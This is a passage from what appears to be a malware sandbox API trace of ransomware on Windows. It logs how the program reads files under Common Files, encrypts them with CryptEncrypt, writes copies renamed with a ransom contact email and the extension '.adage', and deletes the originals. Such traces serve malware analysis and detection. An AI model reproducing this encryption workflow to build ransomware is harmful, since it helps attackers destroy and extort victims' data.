shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.595] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=81292) returned 1 [0055.595] CloseHandle (hObject=0x18c) returned 1 [0055.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0055.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.596] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.596] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1990) returned 1 [0055.596] CloseHandle (hObject=0x18c) returned 1 [0055.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0055.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.597] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.598] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=232) returned 1 [0055.598] CloseHandle (hObject=0x18c) returned 1 [0055.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0055.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.598] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.599] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=10569) returned 1 [0055.599] CloseHandle (hObject=0x18c) returned 1 [0055.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0055.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.599] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.600] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=230) returned 1 [0055.600] CloseHandle (hObject=0x18c) returned 1 [0055.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0055.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.600] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.601] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=7505) returned 1 [0055.601] CloseHandle (hObject=0x18c) returned 1 [0055.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0055.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.602] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.602] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1864) returned 1 [0055.602] CloseHandle (hObject=0x18c) returned 1 [0055.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0055.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.603] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.603] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3650) returned 1 [0055.603] CloseHandle (hObject=0x18c) returned 1 [0055.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0055.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.604] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.604] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4638) returned 1 [0055.604] CloseHandle (hObject=0x18c) returned 1 [0055.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0055.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.605] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.605] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=26720) returned 1 [0055.605] CloseHandle (hObject=0x18c) returned 1 [0055.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0055.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.605] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.606] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3168) returned 1 [0055.606] CloseHandle (hObject=0x18c) returned 1 [0055.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0055.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.606] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.607] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=15063) returned 1 [0055.607] CloseHandle (hObject=0x18c) returned 1 [0055.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0055.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.607] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\o9nleU.bmp" (normalized: "c:\\program files\\common files\\o9nleu.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.607] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=53566) returned 1 [0055.607] CloseHandle (hObject=0x18c) returned 1 [0055.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\o9nleU.bmp" (normalized: "c:\\program files\\common files\\o9nleu.bmp")) returned 0x20 [0055.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\o9nleU.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\o9nleu.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\o9nleU.bmp" (normalized: "c:\\program files\\common files\\o9nleu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0055.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0055.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\o9nleU.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\o9nleu.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.608] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d86e0) returned 1 [0055.608] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0055.608] ReadFile (in: hFile=0x18c, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0xd13e, lpOverlapped=0x0) returned 1 [0055.609] CryptEncrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0xd140, dwBufLen=0xd140 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0xd140) returned 1 [0055.610] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xd140, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xd140, lpOverlapped=0x0) returned 1 [0055.762] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d88e0) returned 1 [0055.851] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0055.851] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0055.851] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0055.851] WriteFile (in: hFile=0x180, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0056.496] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0056.496] CloseHandle (hObject=0x18c) returned 1 [0056.496] CloseHandle (hObject=0x180) returned 1 [0056.498] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\o9nleU.bmp" (normalized: "c:\\program files\\common files\\o9nleu.bmp")) returned 1 [0056.500] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0056.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.197] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=14610) returned 1 [0057.197] CloseHandle (hObject=0x180) returned 1 [0057.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0057.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.198] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.202] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=630) returned 1 [0057.202] CloseHandle (hObject=0x180) returned 1 [0057.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0057.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.203] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.203] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=623) returned 1 [0057.203] CloseHandle (hObject=0x180) returned 1 [0057.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0057.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" 